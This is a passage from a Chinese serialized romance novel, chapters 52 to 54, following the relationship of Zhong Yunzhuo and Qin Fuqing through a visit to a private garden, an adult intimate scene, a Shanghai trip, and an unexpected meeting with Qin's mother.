“哦那个啊,就是提醒你一下,没别的意思。”傅柠把声音压得很低,“我知道你们俩还没捅破窗户纸,所以这个时候更不能让别人有机可乘。” “你哪只眼睛看见我俩中间隔了窗户纸了?人家本来就是情侣, 跟我有毛关系!你脑子不好使了就赶紧去医院治!” 傅柠听着电话里传来的“嘟嘟”声,彻底懵了。 她还没见过堂哥发过这么大的火, 都飙上脏话了。 所以这一切都是她的误会? 人家才是真情侣,她完全看走了眼? 紧接着, 手机里又蹦出一条消息:【把你造成误会的前因后果讲一遍,语音发过来。】 所谓拿人手短, 尽管挺委屈, 但傅柠也不好跟他发作。 只能借口上厕所,跑到外面简单口述了一遍那天的心理路程。 傅沅宗坐在秦拂清的对面, 把语音公放给他听。 她说的磕磕巴巴地, 像是做错事的孩子, 末了还主动道了歉, 说女孩子有时候就是容易脑补, 望理解。 “也不怪人家女孩子脑补,你自己得注意下言行。”秦拂清慢条斯理地喝了口酒。 傅沅宗眼睛都快翻上天了,“你疯了啊, 你现在是不是看谁都像情敌?” 秦拂清没理这话,“所以她后来叫住你,又跟你说了些什么?” 若不是觉着做人要讲究诚信,傅沅宗真懒得趟这浑水,他随便扯了个缘由:“问我你以前交没交过女朋友,我说没有,你是第一个。” 秦拂清手上的动作明显顿了一瞬,“她真这么问的?” “对啊,女孩子在意这个也很正常吧,万一你是个花花公子呢。” 秦拂清垂眸思考,沉默的期间,傅沅宗提起另一件事:“说起来,那涂家小公子知道你们在一起后,没找你麻烦啊。” 秦拂清惫懒的神态立马变了,轻嗤一声,“他倒是想找我麻烦,可惜没能如愿。” 傅沅宗提醒他一句,“下手收敛一点儿吧,她俩好歹也是关系不错的朋友。” “放心,我有数。” 傅沅宗感叹,“其实这小子算不上什么阻碍,重点还是你父母那边。” 这话算是说到秦拂清心里去了。 他放下杯子,换了个坐姿,像是回答又像是在自言自语:“先瞒着交往几年,等一切成定局,到时候他们也没辙了。”- 宋黎若到了大四之后既没找实习也没准备考研,父母想让她考公,她嘴上答应着,实际没学过几次,每天四处去浪。 最近又迷上一个歌星,非拉着钟缊酌去看他的演唱会。 “江逸,我好像听说过他,是不是参加过歌手的比赛?” “对,刚出道两年微博粉丝就有几百万,绝对的人气王。” “这么夸张,是不是有资本在捧?” “或许吧,但人家也有这个实力,接得住口碑和流量。”宋黎若拉着她胳膊,兴奋地说,“你去听听现场就明白了。” 钟缊酌不追星,这算是她第一次听演唱会,宋黎若买的票又是前排,震耳欲聋的音乐声,躁动的鼓点,呐喊的人群,让钟缊酌心脏几乎爆掉。 听完两首歌,她便借口去卫生间暂时躲了起来。 钟缊酌站在楼梯扶手旁接了个电话,是叶锦打来的,叮嘱最近天气变冷记得多添衣服,另外顺便问了下她实习的情况。 “工作内容不难,估计怕弄不好不敢让我做太复杂的,领导对我也不错。” “那就好,同事没欺负你吧?” 钟缊酌迟疑了下,还是说了句“没有,大家对我都很照顾。” “我爸现在身体恢复得怎么样?”她赶紧换了个话题。 叶锦听上去心情不错,声音里都带着笑,“恢复得特别好,医院一直在定期给做复查,也多亏新调过去的那个主治医生技术高超。诶对了,你后来有没有请你那个朋友吃饭啊?” “请了请了,这点事您就别操心了。”钟缊酌心虚地摸了摸鼻子。 挂掉电话之后,钟缊酌返回到座位上,还好这次换了个比较舒缓的歌曲,她不用担心心脏力竭了。 宋黎若一直在狂挥荧光棒,没注意到她的异常,“缊酌,你怎么去了那么久?我还以为你迷路了。” “刚我妈打电话来聊了几句。”噪音太大,她只能喊着回。 演唱会进行到一半,也逐渐迎来了第一波小高.潮。 台上的江逸忽然比了个“嘘”的动作,紧接着脱掉了大衣外套,粉丝们的尖叫声一片接一片,他又继续脱掉毛衣,只剩下一件黑色赤背背心。 连钟缊酌都看呆了,还有这种操作? 伴随着一波波的尖叫,钟缊酌兜里的手机也开始震动起来。 她一只手捂住耳朵,另一只手伸进去掏,打开后看到一条来自同事的微信。 喻峰:【现在有空吗?需要临时统计个数据。】 钟缊酌立即敲下:【我在外面,是很着急不?】 喻峰:【对,今天一定要统计出来。】 钟缊酌看了眼时间,这会儿是八点,演唱会九点结束,她到家大约九点半,问题应该不大。 她回:【可以,把数据发给我吧。】 一张张表蹦出来,量还不小,钟缊酌估算了下,至少得花两个小时做完。 这是真把实习生当免费劳动力啊。 她不自觉吸了口气,别想那么多了,先嗨起来吧。 钟缊酌把手机丢到一边,也跟着挥起荧光棒,像是要把那些不痛快一并挥走。 宋黎若看到她的变化,笑嘻嘻地说:“瞧,我就说你很快就能适应吧。” 晚上回到家,借着朦胧的月光,钟缊酌先来到阳台,给那些绿植浇了点水。然后回屋打开电脑,把收到的表一一保存下来。 她闷在那些数据里一顿操作,等再次抬起头时,已经是夜里快十二点。 也算是及时赶上了,钟缊酌把报表发给喻峰,瘫在椅子上伸了个大大的懒腰。 她心力交瘁,毫无困意,忍不住想要给某人发个信息。 钟缊酌:【睡没睡呀?】 等了一会儿没动静,以为他已经睡了,钟缊酌去洗漱,回来后看到了那条回信。 FU:【没睡,你今天怎么也熬这么晚。】 钟缊酌想吐槽的欲望顿时腾起,飞快地敲字:【我刚加完班呢!也算一名合格的牛马了。】 FU:【实习生也加班啊,还是大周六的。】 钟缊酌:【对啊!就是说,还没有加班费。】 FU:【这公司文化不太行,我去帮你举报。】 钟缊酌:【真的假的?去哪里举报?】 FU:【打市长热线/笑/】 钟缊酌看不出他是否在开玩笑,又有些犯怂,赶紧打个哈哈说:【别啦,我就是吐槽一下,倒也不至于这样。】 她转头扯开话题,问起他现在在忙什么之类的。 聊过一会儿,眼看要互道晚安时,秦拂清忽然说明天要不要出来散个心。 钟缊酌:【好呀,去哪里散心?】 秦拂清最后发的是语音,低醇的嗓音传过来,在安静的房间里格外清晰:“你见过那个地方,但没去过,允许我保个密吧。” 见过却没去过是照片上见过的吗? 她努力在记忆里搜寻,也没想出到底是个什么样的地方。 钟缊酌一时间被勾起了好奇心。 翌日中午,刚吃过午饭,秦拂清的电话就呼了过来。 “等等啊,马上下楼。”钟缊酌嘴里还咬着苹果,说话叽里咕噜的。 秦拂清笑着回她,“不急。” 说来也怪,之前两人的关系在院儿里被传开,钟缊酌还怕熟人都来八卦,可除了那次在会所,还没人来找她问。 她一度觉得可能是因为秦拂清的关系,大家不敢随便乱说。 这个季节的温度,的确不那么暖和了,钟缊酌一出来就意识到自己穿得薄了些,瑟着身子钻进车里。 “怎么不多穿点儿。”秦拂清覆上她的手,“手背都发凉。” 想想母亲刚叮嘱完就开始作起来,她也忍不住想骂自己两句。 但实在懒得再回去换,便装作无所谓的样子:“我是外凉内热,其实一点都不冷,快开车吧。” 钟缊酌太想知道这次的目的地,这一路都在努力套他的话,可那个男人的嘴太过严实,她的小伎俩几乎全部被秒识破。 “神神秘秘的,你不会要把我卖了吧?” “嗯,倒是提醒到我了。”秦拂清不着调地扬了下唇。 车子顺着京台高速一直往南,差不多快到六环,才转了个弯来到一片空地,四周几乎见不到居民楼。 “这是什么地方呀?”钟缊酌好奇地向里张望,看上去很像公园,但又没有游客。 “算是我的私人庄园吧。”秦拂清伸手挠了挠那左右乱晃的脑袋,“别在这儿偷看了,去里面光明正大地看。” “私人庄园?”钟缊酌眼中充满惊奇,“像达西那种庄园嘛?” 里面种植着各种参天巨树,国槐,银杏,法桐,遮天蔽日地将天空切割开来,穿过这片树林,是一排观赏性花卉,只是有些花不在花期,显得萧条了些。 钟缊酌看着那一片盛开的桂花入了迷,金灿灿地挂满枝头,飘下来的香气缠绕在鼻尖,浓郁醇厚。 “好漂亮呀。”她感叹一声。 “这个季节正是看桂花的时候。” 秦拂清打算考考她,“能看出是什么品种吗?” 钟缊酌哪里看得出来,她对植物的常识少的可怜,只能试探着猜名字:“黄桂?” 秦拂清忍住笑,“对了一半,换个词呢。” 她想了想说:“难不成是金桂?” 秦拂清夸她挺聪明。 这算什么聪明,他分明是在取笑她。 钟缊酌不想理他了,拿出手机拍了几张风景照片,然后问:“你不是说我见过这里嘛?我也没印象呀。” 秦拂清拉过她的手说:“跟我来。” 他牵着她继续往前走,一直走到一片湖泊旁。 钟缊酌注意到,就在湖水对面,孤零零地矗立着一颗槐树,槐树下随风荡着个秋千。 钟缊酌的记忆大门刹那间被撞开。 她的的确确见到过这副场景,这棵树,这架秋千,都曾出现在古玩馆的会客室,出现在墙上的那张油画里。 “原来那幅画画得是这里呀。” 钟缊酌跑过去,摸了摸两边的尼龙绳子,看上去已经很破旧了,不知道能不能承得住她。 “坐上试试。”秦拂清说,“有段时间没换了,但应该问题不大。” 钟缊酌小心坐上去,秦拂清一边帮她摇绳一边回忆往事:“这里原本是我父亲买下的一块地,想种些果农着,后来他太忙就不管了,我叫人改成了植物园。” “那怎么会有秋千呢?” 秦拂清笑笑,“因为我小的时候就喜欢在这里荡秋千,后来不坐了也一直挂着。” 他看了看头上的叶子,眼里似有化不开的浓雾,“这颗树至少得有百年了吧。” 钟缊酌荡几下之后,脸蛋儿被风吹得生疼,她停下来问他:“你现在还会常来吗?” “每次我工作烦了的时候,就会来这儿逛逛。” 秦拂清说完便走到那湖边,投一颗石子进去,静静望着一圈圈漾起的波纹,不知在想什么。 原来他也会感到压力吗?也会和普通人一样为工作发愁。 钟缊酌想不到他还有这样的一面。 她以为他永远会是那个胜券在握,无所畏惧的秦总。 钟缊酌走过去,从后面环住秦拂清的腰,语气真真诚诚地:“以后你有什么烦心事都可以来找我说,虽然我不一定能给出解决方法,但至少能让你排解一些压力。” 那一刻秦拂清的心脏像是被触到了最柔软的地方,他垂下眼睫,轻轻握住她的手,“那你呢,心情好些了吗?” “嗯,已经完全不生气了。” 秦拂清把她拽到前面来,摸了摸她的脸,眉眼淡淡压下来,“明明就很冷,还骗我说不冷。” 他说着就要脱下大衣,钟缊酌制止他,“我不要穿你的衣服,太大了不方便。” “那就进我怀里来。” 秦拂清用大衣将她整个人裹进怀里,两人身体紧紧相贴,钟缊酌立即感受到一股热气从周身蔓延开来。 “缊酌,我能不能问你个问题。”秦拂清压低嗓音说。 她贴着他的胸膛蹭了蹭,“什么问题呀。” “你觉得我像个情场老手吗?” 这话直接将钟缊酌惊得昂起头来。 作者有话说:评论区掉落红包~ 第53章 “为什么这么问啊。”钟缊酌感到又奇怪又好笑, 眉毛也绷成了八字型,“你哪里表现得像个情场老手?” 钟缊酌说完之后就变了脸色,噢还是有一点像的,他接吻的技术不错。 “我不知道, 只是随便问问。你有这么想过吗?或者你觉得我是那种交过很多女朋友的人。” 秦拂清定定地看着她, 他从一开始就没打算拐弯抹角, 如果她真的问过傅沅宗,一定会表现出窘迫。 但钟缊酌也只是眨着清澈的眼睛回答:“我没这么想过,而且,我听院儿里的几个姑娘讲,你以前好像没交过女朋友。” 秦拂清心里一半的疑惑解开了, 他暂时不确定她那时到底问了什么。 但已经不重要,或许他很快就能知道。 “嗯, 她们消息倒是蛮准的。”秦拂清将她的衣领往上拉了拉,“回家吧, 再待一会儿我们两个都要变成冰棍儿。” “明年夏天我带你来看荷花。”从石桥上走过时,秦拂清又跟她说。 车子行驶到一个十字路口时, 本来应该直行, 秦拂清却忽然变到了右侧的车道。 钟缊酌察觉出异常,“是不是走错了呀, 这边好像不是我们来时的路。” “其实我下午的工作不是很多。”右转过来后, 秦拂清慢悠悠地踩着油门, “比较重要的只有一场线上会议, 我想是不是可以先去我那待会儿。” 钟缊酌没注意他声音比往常涩了些, 挺痛快地答应了:“也行。” 中途去加油站加了个油,秦拂清下车去里面刷卡,钟缊酌也推开门说:“等等我, 我去看看有什么喝的,有点渴了。” 两人并排走进来,一对俊男靓女出现在店里,前台收银员忍不住多看了两眼,也刚好引起了那位刚交完款的客人注意。 只是在他回头的瞬间,表情忽然变得很夸张:“秦总,怎么在这儿碰上您。” 邹律几步上前,跟秦拂清握了握手,“您这是忙公事还是私事呢?” 秦拂清看了眼旁边的女孩,在脑子里打架两秒,很快做出回应:“跟女朋友出来兜风,邹总之前应该见过。” 邹律这才把目光移向站在他旁边的姑娘。 一张秀气的脸上不施粉黛,却明媚照人,先前见过的那两次,一次看的是背影,另一次是化了全妆的,因此乍一看还没认出来。 “哎呀,瞧我这记性,幸会幸会。” 他礼貌跟两人攀谈了几句,心里想的却是,这秦总可真够痴心的,女朋友都出轨了还不计前嫌带在身边,换作他定要把那俩贱人剁了。 秦拂清看出他在那琢磨事儿,想笑又笑不出来。 毕竟闹出这误会也怪他没解释清楚,最后只点了一句:“其实上次在招商会的时候,我们还没在一起。” 换来的是邹律下巴快要惊掉的表情。 一直等回到车上,钟缊酌喝掉一口饮料,才敢缠着秦拂清问:“刚刚那个人是谁呀?我不记得见过他呢。” “我一个同事,当时咱俩在说话,你可能没印象了。” “那你说的招商会指的是我和吴——”她想说是不是和吴少维一起参加的那个招商会,但话到嘴边没好意思讲出口。 “对,就是你想的那个。”秦拂清替她补充。 钟缊酌顺着他的话推测,“难道,你同事也去那个招商会了?” “嗯。” 钟缊酌根本不记得,她跟这位邹总是实打实照过面的,甚至还打了招呼。 那会儿她心情实在不好,一整晚都魂不守舍的,除了对那位打翻果汁的小姐姐还有些印象,剩下的是人是鬼都没注意。 秦拂清带着她去了西山壹号院别墅。 一进屋,钟缊酌就脱下外套坐在沙发上搓手,他去岛台给她泡了杯热茶。 “脸蛋儿都冻红了。”秦拂清看她在那儿小口地啜着,老父亲一般地叮嘱,“以后出来再敢穿这么点儿,非要好好惩罚你不可。” “什么呀,我又不是每次都这样,你看大街上比我穿的少的姑娘多着呢。”钟缊酌不服气,跟他辩解起来。 “现在嘴硬,等以后得老寒腿就老实了。” 钟缊酌撇撇嘴,装作没听见,继续专心喝茶。 秦拂清看了眼时间,“我三点半准时开线上会,你要不要去冲个热水澡?别着凉了。” 钟缊酌下意识以为他怕她打扰到他,于是点头说:“可以,但我没带换洗的衣物” “主卧的衣柜里有几套新的女士睡衣,你挑件喜欢的穿。” 钟缊酌没反应过来,“啊”一声,怎么突然在他卧室里蹦出女士衣服? “不知道你什么时候需要,提前准备的。”秦拂清淡声解释。 “哦。” 钟缊酌跑去主卧里扒拉衣柜,紫色的宫廷款,白色的淑女款,还有可爱的,性感的,蕾丝的 钟缊酌越看越脸红,怎么这么多花里胡哨的样式。 最后她选了一件白色的淑女款,里外三件套,外套袖子上还有一圈烫金的蝴蝶图案。 她抱着换洗衣物往淋浴间走,路过客厅时,故意没有看沙发上那个男人的脸色。 踩在大理石地板上,狭窄的空间里满是成熟男性的气息,好在也贴心准备了一些女士洗浴用品。 钟缊酌拿起那瓶蜜桃香的沐浴露闻了闻,露出鄙夷的神色。 他对她到底有什么误解?她才不喜欢这种腻味的香气呢,她更喜欢他身上的木质香调。 嫌弃归嫌弃,最后还是要用的。 钟缊酌在里面一直磨蹭了四十分钟才出来,她那头长发已经被吹成八分干,瀑布般散落在后背,乌黑发亮。 回到客厅,秦拂清的会议还没开完,他戴着耳麦,双腿交叠靠在沙发上,前面摆了一台笔记本电脑。 看到那抹倩影出现在视野里,秦拂清眼眸微动,冲她招了招手,示意她过来。 钟缊酌不明所以地走到沙发旁,以为他要她帮忙拿什么东西。 哪知秦拂清一把拽住那纤细的手腕,将钟缊酌整个人往身前一拉,她趔趄着摔进他怀里,险些惊呼出来。 “你干什么呀——”钟缊酌不敢太大声,只能用气音埋怨,他可是还在开会呢。 “别紧张,我没发言的时候不会开麦。”秦拂清环住她的腰,笑说,“陪我坐会儿。” 屏幕上跳出一则工作报告,钟缊酌瞄了两眼,大概是关于某种新型环保材料的投资概况。 她看不太懂,也不敢细看,不知道是不是什么保密文件。 但很快,钟缊酌发现,秦拂清的眉头逐渐紧皱起来,她有些担心地问:“怎么了?” “有人想挑事儿。” 钟缊酌惊骇:“针对你吗?” 他没回答,但表情默认了。 “谁胆子这么大啊。”钟缊酌猜不透这里面的恩恩怨怨,但自知不该在这个时候让他分心,“要不我先回避一下,别让人发现你开会时跟女朋友调情,再趁机举报你,那就更麻烦了。” 秦拂清手上的劲儿却没松,只不动声色地继续盯着屏幕,“不必,你在这儿我会更安心。” 轮到秦拂清发言,他从容地调出早已备好的PPT文件开始演讲,声音清朗,身上那股威严肃穆的作派一下子展露出来,与刚才倜傥地讲着情话的样子简直判若两人。 钟缊酌坐在旁边,大气也不敢出。一直听到结尾处,他开始一一反击前面的那些流言蜚语。 他镇定自若,不邀功也不虚伪地卖惨,但就是这样一段实事求是的辩词已让人汗毛直立。 讲完后,秦拂清做了结束语,然后直接掐掉麦。 钟缊酌想趁机安慰他一下,说不愧是秦总,说话滴水不漏地,但见他眉头没缓下来,也就作罢。 没过一会儿,他调整了下坐姿,神情也总算平和了些。 “马上结束了,要不要吃点东西?”秦拂清问。 “我还不饿呢,才几点呀。” 秦拂清摘掉耳麦时,钟缊酌已经趁他松懈地空挡跑去接了一杯茶,送到他面前说:“快喝吧,消消火气。” “谢谢钟小姐的款待。” 秦拂清放下杯子,视线停留在她袖口上一晃一晃的金色蝴蝶,与纤白的手腕交辉相映。 他喉结滚动,忍不住拉过她的手,低头轻轻吻了一下。 一道电流疾驰而过,钟缊酌红了脸,“怎么突然” “你穿这件睡衣很美。” 钟缊酌还不知所措地站在那里,秦拂清搂着她的腰往自己面前一揽,直接闭眼就贴了上去。 他嘴唇隔着一层绵软的布料在她胸口画圈,钟缊酌的脑袋几乎要疯掉,身体内的□□如同洪流般往外泄,她抓住他的头发,拼命咬住嘴唇才能不发出声音。 待他再慢慢向上作弄时,她已经承受不住地瘫倒在他身上,秦拂清吻着她的脖颈说:“想不想来点别的。” 钟缊酌轻喘着气,她自然知晓其意,心脏一下下地开始敲鼓,口齿不清地询问:“有、有那个吗?” “嗯。” 他都准备好了呀,钟缊酌觉得自己好像中计了。 尽管自己已经被吻得意乱情迷,但她气不过,非要拖延时间似地提醒:“你还没——” “我出来时洗过澡了。” 没等她说完,秦拂清便猜透她想法似地抢先回答。 下一秒,钟缊酌便发出一声惊叫,她被他以公主抱的姿势挂在身上,秦拂清一边和她接吻一边往卧室走。 他扯开几颗衬衫扣子,腹部的薄肌若隐若现,钟缊酌眼睫颤动,羞得想看又不敢直接看。 秦拂清俯下身,在她耳边轻喃,吻过来时宛若暴雨里的狂风,凶猛却有耐心,似是要将她的一切吞咽入腹。 唇上的热度已让大脑缺氧严重,他的手还不安分地掀开她的长裙,细致地揉抚。 钟缊酌忍不住开始呜咽起来,脚趾乱蹬,秦拂清身子压过来,和她缠绕在一起。 一股酥麻感由下而上传来,她捧着他的脸回吻,思绪整个乱掉。 钟缊酌在这件事上可谓毫无经验,也毫无章法,她的手在他身上慌乱地游走,但越是这样的无规则探寻,让秦拂清心痒得更厉害。 他捉住那两只柔软的手,慢慢往下移,哑着嗓子说:“帮我解开。” 钟缊酌太紧张,从来没觉得腰带有这么难解,弄了好半天才终于听到那一声“啪嗒”蹦开的声音。 所有的感官铺天盖地而来,痛,麻,痒,还有她从没体验过的,整个人像是躺在云朵上,绵软无力,飘飘欲仙。 她看着那起伏的肩膀,想一口咬过去,却用不上力气。 眼前的人影和墙壁越来越模糊,所有的一切都已成幻影,直到最后那道烟花在脑中炸开。 作者有话说:评论区掉落红包~ 第54章 进入深秋的京市, 天高云淡,冷风穿过胡同时,银杏叶被吹落得飘零在地,满城金黄一片。 钟缊酌在出发去上海之前, 约着宋黎若来到咖啡馆小聚。 宋黎若这段时间大概是被家里折磨得够呛, 一脸的丧气样, 出门也懒得化妆了,嘴巴嘟起老高,拿勺子一圈圈搅着眼前那杯拿铁。 “你说他们掌控欲怎么那么强啊,我以后想做什么是我的事,非得都来插一脚。” “他们也是担心你吧, 怕你走弯路。”钟缊酌温声劝她,“别太往心里去啦, 只管按照你自己的想法去做。” “其实我就是想毕业后直接工作了,什么都不想考, 但是又有点纠结是自己投外企还是直接进亲戚家的企业。” “反正坚决不去私企大厂,累死人不偿命。”她补充说。 钟缊酌笑了下, 表示深有感触, “尤其是互联网大厂,我实习的这家, 每天光看着他们就觉得压力很大。” “但我爸妈想让我考公, 我可烦体制内那些勾心斗角的事儿了, 我脑子笨, 转不过那弯儿来。” “你还假装复习着, 不是马上就要笔试了嘛,到时你说没发挥好落选了,等明年有了工作他们也就不会催你了。”钟缊酌给她出主意。 “嗯, 我也是这么想的。”宋黎若托起腮,“说起来,你这边留学的事准备得怎么样了?现在是不是可以报名了呀。” “还早,我等年后那波吧,很多东西还不能确定。” 不用她再细说宋黎若也明白什么意思,大概是父母那边资金还没到位。 “那你跟秦拂清讲过这件事吗?”她随意问了句。 钟缊酌神色倦倦道:“没有呢,他若是知道我有难处还会袖手旁观啊,肯定旁敲侧击要我接受他的好意,要么背后搞些动作帮我,还是等确定了再告诉他吧。” 宋黎若看着她,欲言又止的样子,“缊酌,如果最后你还是没凑够钱,就真的打算放弃了吗?” “嗯,尽人事,听天命。” 宋黎若不知道该说什么了,缊酌是这样的性子,即便交往了有钱有势的男朋友,也不想靠他解决一切,她理解好友的心理。 她适时给她提醒一句,消息太突然的话秦拂清会不会生气。 钟缊酌便说她不是报完名就立马飞去英国,至少过几个月呢,到时候好好跟他解释,应该能理解。 钟缊酌顿了下,“再者,我只走一年,也不是好几年不回来。” 两人聊着各自的烦心事,宋黎若忽然转移话题道:“你这次去上海打算待几天呀?” “四天,再多了不好请假。” 宋黎若:“你跟秦拂清一起,他是去那边出差?” 钟缊酌摇头,“他去见一个朋友,然后正好我说也想去上海打卡,就约在一起了。” 宋黎若转了转眼睛,忽然神秘兮兮地凑过来:“你们订好酒店了吗?用不用我来给你推荐个。” “都是他订的,我住什么都行。”钟缊酌这会儿还没意识到她语气里的不对劲,宋黎若不屑地撇嘴,“他一个直男老干部能选出什么花样,看看我的。” 一张氛围非常暧昧的情侣主题酒店房间照片怼到钟缊酌眼前,圆形的双人床,粉色的纱帘,铺满花瓣的浴缸,每一处都在散发着情趣两个字。 钟缊酌瞬间红了脸,将手机往下一扣,“别瞎闹,我们才不住这种。” “这样的才有意思呢,你俩真是一对老古董。” 钟缊酌默默端起了咖啡,脑子里浮现出某些缠绵的夜晚。 心想,那直男老干部花样也不少- 到达上海的第一天,两人入住了和平饭店。 钟缊酌看着墙上贴着的那些天文菜价,不禁咂舌:“好贵呦,可乐都要五十元一瓶。” “好不容易出来一次,就别在乎这些了。”秦拂清拉好椅子,又帮她将掉在胸前的碎发捋到后面,绅士样十足,递上菜单说,“看看想吃哪个,自己点。” 钟缊酌最后点了蟹粉豆腐煲,樱桃鹅肝,八宝葫芦鸭,然后让秦拂清再添些,末了服务员来确认时,她又加了一道上海酸辣汤。 “就这么喜欢吃辣啊。” “来一趟多少要尝尝本地菜嘛。”钟缊酌笑嘻嘻地说。 秦拂清睨她,“酸辣汤哪里算本地菜,加个地名就把你忽悠了。” 钟缊酌当然知道不算,她只是想给这个男人那无聊的味觉里添点刺激罢了。 “你也尝尝吧,其实没那么辣,挺好喝的。”钟缊酌给他盛了一碗。 秦拂清明显也知道她的目的,但就是无法拒绝,无奈端起来喝了两口,嘴唇立马就变了颜色。 钟缊酌憋住笑,很“体贴”地拿纸巾给他擦嘴。 “你就是想折磨我对不对。” 钟缊酌也不藏着掖着,大大方方承认说“嗯”。 秦拂清在她额头上敲了下,“这是什么变态心理。” 她一字一顿地解释,“怎么说呢,这种感觉就好像,把一个尊贵体面的人拉下神坛,心底会升出一股罪恶的快感。” 夜晚,华灯初上,璀璨梦幻的都市夜景倒映在黄浦江中。 这是一座奢靡繁华的城市,看得久了,也容易让人心燥。 钟缊酌在那扇形的落地窗前驻足片刻,然后拉上窗帘,跑回床边去跟秦拂清炫耀自己拍的照片。 “怎么样,和以前拍的比有没有进步?” 秦拂清放下手上的书,将她抱坐在腿上,看了眼说:“有,构图不错,就是光线抓得不好。” “那就是手机的问题了,不怪我。” 钟缊酌低下头,凑近摸了摸他红润的嘴唇,“这么久还没下去呀。” “你干的好事。”秦拂清眯了眯眼,“还不给我吹吹。” 她轻轻给他吹着,结果秦拂清手上就开始不老实起来,钟缊酌心里一阵悸荡,坐也坐不稳了。 “明天上午先去我朋友那儿,他开了家书店,你若是觉得我们说话无聊可以在里面看看书。” 钟缊酌已经换成面对面坐在他腿上的姿势,两人衣不蔽体,下面一片靡乱不堪。 在这样的凌乱状态下,秦拂清竟然还能慢条斯理地跟她讲着接下来的安排。 “下午就去外滩走走,其它的地方我也没什么好推荐的,你可以查查想去哪里。” 说到最后,他气息明显粗重了起来。 钟缊酌哼哼唧唧地趴在他肩头,恍惚的同时甚至能听见一阵隐约的水渍声,她喉咙干得厉害,“嗯朱家角古镇吧。” “好,听你的。” 秦拂清动作幅度加大了些,两人再也说不出话来,房间里只剩下不断交错升温的喘息 秦拂清的这个朋友叫韩治,早年是做网络编辑的,后来不知什么原因,辞职开起了书店。 这一行为在外人眼里算是亏大了,现在的年轻人谁还看纸质书啊,肯定赚不到钱,但用他自己的话讲,这叫回归传统。 传统的事就由传统的人来做,他就是这样传统的人,就喜欢闻那纸质书的味道。 秦拂清知道这件事后倒还挺支持的,毕竟他喜欢老物件,老物件和传统两个字多少能挂上点儿钩。 “我还以为你会听家里的话去联姻,没想到这么叛逆,不像秦总的做事风格啊。”韩治看着女孩走远后,小声揶揄道。 “我做事什么风格。”秦拂清没看他,翻了翻手旁放着的一本书,那是韩治自己写的。 “稳扎稳打,顾全大局,绝不铤而走险,置自己于险境。” “把我说的这么能算计,这是夸我还是骂我呢?” “当然是夸了。”韩治抱起双臂,“不这样你恐怕也做不到今天这个位置。” 秦拂清这才撂下那本书,坐直身子,往椅背上一靠,“谈恋爱当然不能和工作混为一谈,其实我很享受这种赤诚的相处模式。” 韩治笑了笑:“你就这么肯定人家对你也一样赤诚,没一点隐瞒?” “混了这么多年我别的本事不敢打包票,看人还是没出过差错的。”秦拂清气定神闲地说。 韩治请两人吃过午饭,又在附近逛了逛,才回到和平饭店。 外滩出门走几分钟便能到,钟缊酌顺便换了件外衣,把驼色大衣换成了复古红,说和他的黑大衣更搭,拍照好看。 她在镜子前整理衣领时,秦拂清就在旁边眉眼含笑地看着。 外滩一条街全是恢宏气派的历史建筑,钟缊酌看得很投入,开始讲起自己为什么想来这里打卡。 “我从小就很喜欢看谍战剧,因为一些历史原因,那些剧的背景大都在上海。” “其中最喜欢的一部叫红色,你看过吗?贯穿在战争年代下的市井生活,男女主都非常有魅力,凭借智慧和敌人斗智斗勇,我还学会了一些上海话呢,侬好,你晓得吧” 钟缊酌一边挽着他胳膊一边兴奋地讲着,秦拂清就故意问:“那你知道这些建筑在当时是做什么的吗?” “知道呀,我特意查了资料呢。” 钟缊酌自信满满地指着前面那栋白楼,“这是英国汇丰银行的旧址,现在成为了浦发银行总部大楼,你看门口那一对青铜狮子,一只张着嘴一只闭着嘴,代表银行吐纳资金只进不出的意思。” “还有刚才走过的那栋红楼,是轮船招商总局,典型的维多利亚时代后期新古典主义建筑风格。” 秦拂清不得不揉着她的脑袋说:“算我小看你了,我以为女生逛景点都不喜欢了解这些。” 他差点儿忘记,这小姑娘记忆力是多么惊人来着,他一肚子墨水看来是完全派不上用场了。 两人走过路口,来到观景台。工作日外滩的游客流量不算大,钟缊酌逮住了一位看起来很和蔼的阿姨,让她帮忙给拍张合影。 钟缊酌有点紧张地捋捋头发,嘴角上扬,摆出一个温柔的笑。 秦拂清站在旁边搂着她的肩膀,阿姨直忍不住地赞叹这一对小情侣可真般配,然后“咔咔”拍了好几张。 就这样,完成了两人在一起之后的第一张合影。 “看看满意不?不满意还可以再拍。” 阿姨很热情,两人道了声谢,说很满意,秦拂清的手刚拿下来,还没来得及仔细去看,整个身子忽然僵住了。 “怎么了?” 钟缊酌察觉到他的异常。 秦拂清的目光穿过人群,直直地看向对面的那条马路。她疑惑地摇了摇他胳膊,秦拂清仍然一动没动。 钟缊酌当然不知道,此刻就在距离两人不足两百米的位置,秦拂清的母亲袁书礼正和另一位中年女人站在街边聊着天。 母亲怎么会出现在这里? 秦拂清在混乱的思绪中,回想起她上周说要和方姨去苏州住几日,他没多问,只叮嘱管家去安排。 他是万万没想到袁书礼会在苏州待上几天后,临时起意来了上海。 秦拂清动了动喉咙,却什么都没说出口。 他拉了下小姑娘的袖子,想叫她赶紧走,又恍然觉得很可笑。 他们之间的关系,堂堂正正的情侣关系,竟然这么见不得人吗? 两人发愣的片刻,袁书礼和方英已经走过了十字路口。 她们聊得太投入,一直没往对面看,直到方英无意往观景台的方向瞄了眼,才终于察觉到不远处站了个熟人。 “诶书礼,那不是你儿子秦拂清嘛?他这是不放心找你来了?” 袁书礼看见那两人之后,也惊诧了一瞬。 但她心里惊讶的原因并不是偶遇亲人,她也知道自己儿子大概率不是刻意来找她的,袁书礼更疑惑的是站那旁边的姑娘是谁。 秦拂清两只手抄起口袋,声音很轻地开口:“我遇上了熟人,你先在这儿拍拍照,我过去跟她们说几句话。” 迎面的中年女人气质端庄,穿着雍容华贵,更不要说那眉宇间和秦拂清是如此相似。 对上那两双打量得很直白的眼睛,钟缊酌心脏开始一点点下沉。 她已经隐约猜测出什么。 “好。”钟缊酌转过身的一刹那,嗓子突然像被什么东西堵住,呼吸不上来。 “您来上海也不跟我知会一声,廖叔那边都没给吩咐。” 秦拂清走过来,神色淡漠地打着招呼。就算他再怎么善于掩饰情绪,这一刻也没办法虚伪得将那份酸涩全部抛之脑后。 “我自己跟他说就好,你那么忙,这点事儿还非得由你亲自过问啊。”袁书礼往女孩跑开的方向望了眼,“你不是来见小韩的?刚刚那姑娘是谁?” 秦拂清眼神晦暗,无声地扯了下唇角,说出的话让人辨不出真假:“我说女朋友,您信吗?” 袁书礼还没回话,一旁的方英却抢先一步问起来:“净乱讲,你交女朋友家里人还能不知道啊,还是你妈一直瞒着我这事儿呢?” 说完就转过头笑吟吟地看向袁书礼。 袁书礼一皱眉:“我瞒着什么呀,让他自己解释吧,我可什么都不知道。” 